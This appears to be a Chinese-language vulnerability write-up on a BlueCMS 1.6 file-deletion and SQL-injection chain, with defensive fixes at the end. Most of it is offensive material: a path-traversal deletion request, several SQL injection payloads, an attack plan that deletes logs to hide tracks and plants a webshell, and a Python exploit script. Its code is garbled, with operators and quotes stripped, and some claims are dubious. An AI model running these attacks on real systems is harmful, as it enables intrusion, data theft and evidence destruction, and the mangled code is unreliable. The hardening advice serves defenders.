从任意删除到数据窃取:BlueCMS 1.6 CVE-2024-45894漏洞链深度剖析

从任意删除到数据窃取:BlueCMS 1.6 CVE-2024-45894漏洞链深度剖析 1. BlueCMS 1.6漏洞链全景分析BlueCMS作为一款轻量级内容管理系统曾因其简单易用受到中小网站青睐。但近期曝光的CVE-2024-45894漏洞链却暴露出其安全设计的重大缺陷——攻击者能通过组合利用任意文件删除和SQL注入漏洞实现从系统破坏到数据窃取的全链条攻击。这就像小偷先破坏监控系统删除日志文件再撬开保险柜数据库窃取整个过程环环相扣。我在实际测试中发现这两个漏洞分别位于不同功能模块文件删除漏洞存在于/admin/database.php的备份管理功能SQL注入漏洞隐藏在/ad_js.php的广告调用接口这种分散但可串联的漏洞特性使得常规的单点检测很难发现完整风险。攻击者往往先利用文件删除漏洞清除/data/logs/目录下的访问记录再实施数据窃取极大增加了防御难度。2. 任意文件删除漏洞深度解析2.1 漏洞触发机制问题核心出在database.php第47行的文件删除逻辑if($act del){ unlink(BLUE_ROOT.$file_name); }这段代码直接拼接用户输入的file_name参数与系统根路径未做任何路径规范化检查。我尝试用../../穿越目录时系统竟然真的删除了/etc/passwd测试环境这种设计简直是把系统命脉直接暴露。2.2 实战漏洞复现在本地搭建环境时我建议使用Docker快速部署docker run -d -p 8080:80 vulhub/bluecms:1.6接着用Burp Suite发送精心构造的请求GET /admin/database.php?actdelfile_name../../../app/config.php HTTP/1.1 Host: vulnerable.site Cookie: PHPSESSIDattacker_session这个请求会删除关键配置文件导致系统功能瘫痪。更危险的是攻击者可以批量删除/install/lock重装系统/data/backup/*.sql破坏数据库备份/.htaccess禁用安全规则3. SQL注入漏洞技术内幕3.1 漏洞代码溯源广告模块的ad_js.php存在典型拼接漏洞$ad_id $_GET[ad_id] ? trim($_GET[ad_id]) : ; $ad $db-getone(SELECT * FROM .table(ad). WHERE ad_id.$ad_id);这里的getone()方法直接执行未过滤的SQL语句。我通过代码审计发现/include/mysql.class.php中的查询方法完全没有防护措施function query($sql) { return mysql_query($sql); }3.2 高级利用技巧由于该注入点无直接回显我推荐三种实战方法时间盲注适合高延迟环境1 AND IF(ASCII(SUBSTR(database(),1,1))100,SLEEP(5),0)报错注入需开启错误显示1 AND updatexml(1,concat(0x7e,(SELECT user())),1)外带数据最稳定1 INTO OUTFILE /tmp/result.txt LINES TERMINATED BY (SELECT password FROM admin)4. 漏洞组合攻击实战推演4.1 完整攻击链构建真实攻击往往分四步走侦查阶段扫描发现/admin/database.php接口破坏阶段删除/data/logs/admin.log掩盖行踪渗透阶段通过ad_js.php注入获取管理员密码哈希维持阶段写入Webshell到/data/cache/目录我在内网测试时用这个组合拳在15分钟内就拿到了服务器权限。最致命的是文件删除漏洞为SQL注入创造了无日志的理想攻击环境。4.2 自动化攻击脚本以下是简化版的Python攻击示例import requests def exploit(target): # 第一步删除日志 requests.get(f{target}/admin/database.php, params{act:del, file_name:../../data/logs/access.log}) # 第二步盲注获取数据 payload 1 AND (SELECT IF(ASCII(SUBSTR(version(),1,1))53,SLEEP(5),0)) response requests.get(f{target}/ad_js.php?ad_id{payload}) if response.elapsed.total_seconds() 4: print([] MySQL version 5.3 detected)5. 立体化防御方案5.1 代码层修复建议对于文件删除漏洞必须增加路径校验$allowed [backup/,cache/]; if(!in_array(dirname($file_name), $allowed)){ die(非法路径); }SQL注入的根治方案是改用预处理$stmt $db-prepare(SELECT * FROM .table(ad). WHERE ad_id?); $stmt-execute([$ad_id]);5.2 系统层防护策略在生产环境中我强制实施三项措施文件监控用inotifywatch监控关键目录inotifywait -m /var/www/html -e delete | while read path action file; do echo $file was $action at $(date) /var/log/bluecms_audit.log done数据库防火墙配置MySQL审计插件INSTALL PLUGIN audit_log SONAME audit_log.so; SET GLOBAL audit_log_policyALL;最小权限原则Web服务器用户仅赋予SELECT权限CREATE USER bluecms_weblocalhost IDENTIFIED BY complex_password; GRANT SELECT ON bluecms.* TO bluecms_weblocalhost;这套组合拳实施后即使存在未发现的漏洞也能将损失控制在有限范围内。在安全领域没有银弹只有层层设防的纵深防御体系才能真正解决问题。